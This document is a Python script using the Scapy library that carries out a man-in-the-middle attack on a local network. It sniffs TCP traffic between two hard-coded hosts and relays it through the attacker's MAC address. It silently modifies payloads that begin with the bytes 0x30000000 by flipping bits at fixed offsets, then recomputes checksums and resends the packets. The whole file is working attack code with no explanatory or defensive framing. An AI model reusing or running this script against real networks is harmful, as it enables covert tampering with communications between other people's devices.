from scapy.all import *
import numpy as np
IP_A="192.168.1.112"
IP_B="192.168.1.111"
MAC_A='8C:C6:81:14:62:89'
MAC_B='B8:27:EB:47:46:A6'
MAC_M='00:0c:29:fb:4f:37'
def spoof_pkt(pkt):
  try:
    if(pkt.src==MAC_M):
      return
    if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
      pkt.src=MAC_M
      pkt.dst=MAC_B
      Bytes = pkt[TCP].load
      if(Bytes[0:4]==b'\x30\x00\x00\x00'):
        pkt.show()
        i=len(Bytes)
        temp=bytearray(Bytes)
        temp[11]=(int(Bytes[11])^(8*16))
        temp[51]=(int(Bytes[51])^(8*16))
        Bytes=bytes(temp)
        pkt[TCP].load=Bytes
        pkt.show() 
    elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
      pkt.src=MAC_M
      pkt.dst=MAC_A
    del(pkt.chksum)
    del(pkt[TCP].chksum)
    pkt.show()
    sendp(pkt)
  except Exception as e:
    print("[-] Error = "+str(e))
    if(pkt.type!=2054 and str(e)!="load"):
      pkt.show()
    try:
      sendp(pkt)
    except Exception as e2:
      pass

f= "host "+IP_A+" and host "+IP_B+" and tcp"
pkt = sniff(filter=f,iface='eth0', prn=spoof_pkt)

